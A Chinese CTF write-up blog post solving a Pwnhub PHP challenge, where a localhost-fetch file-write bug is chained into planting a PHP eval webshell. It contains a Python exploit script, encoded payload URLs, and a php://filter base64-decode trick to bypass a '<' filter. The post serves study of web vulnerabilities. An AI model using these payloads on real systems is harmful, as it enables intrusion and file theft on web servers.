Pwnhub-胖哈勃外传-第一集-Writeup

看源代码里面有这样的一个链接。

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg

有点像第七届极客出的php is fun。

极客php is fun的源码:

if (isset($_GET) && !empty($_GET)) {
    $url = $_GET['file'];
    $path = "upload/" . $_GET['path'];
} else {
    show_source(__FILE__);
    exit();
}
if (strpos($path, '..') > -1) {
    die('SYCwaf!');
}
if (strpos($url, 'http://127.0.0.1/') === 0) {
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
} else {
    echo "Hello.Geeker";
}

但是此题image.php过滤了<,这个就需要想办法怎么样去绕过了,另外生成的文件也会很快被删掉。

本题核心是:

file_put_contents($path, file_get_contents($url));

只能访问127.0.0.1的话,其实也可以利用本地的80的网页内容,只要有一句话的内容就好了,然后就可以写入到文件。
在这有一个网页内容的输入点:

http://54.223.231.220/?date/%3C?php%20eval($_GET[1]);?%3E/

所以可以把这个网页内容写入到一个php文件,即可以getshell

exp.py

import requests

u1 = "http://54.223.231.220/image.php?path=lemon.php&file=http%3A%2F%2F127.0.0.1%3A8888%2F%3Fdate%2F%3C%3Fphp%2520eval(%24_GET%5B1%5D)%3B%3F%3E%2F"
r = requests.get(u1)

u2 = "http://54.223.231.220/lemon.php?1=var_dump(glob('*'));"
r1 = requests.get(u2)
print r1.content

u2 = "http://54.223.231.220/lemon.php?1=echo%20file_get_contents('flag.php');"
r1 = requests.get(u2)
print r1.content

flag:

pwnhub{flag:kukukuxia今天胖哈勃跑偏了%&^%&^}

另外如果没有那个输入页面到话,其实image.php本身也是可以有输入点可控的。虽然过滤了<

echo "console.log($path update successed!)";

所以完全可以把这个页面的内容作为写入文件的内容,感觉会有点绕,而且要注意url编码问题。

http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3D%3Fphp%2520eval(%24_POST%5B1%5D)%3B%3F%3E&path=1.php

现在内容可以写入一句话了,但是最大的问题就是<不能出现。

在解决死亡exit、die的时候,会用上php协议的过滤器。在这也是可以用上的。

php://filter/write=convert.base64-decode=lemon.php

对写入的内容进行base64解码再写入文件。

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/image.php&path=PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h

构造出利用:

http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3DxxPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h&path=php://filter/write=convert.base64-decode/resource=2.php

其中要注意的是bae64解码的时候字符长度问题,以免解码导致一句话失效。

posted @ 2016-12-15 15:21  l3m0n  阅读(1200)  评论(0编辑  收藏  举报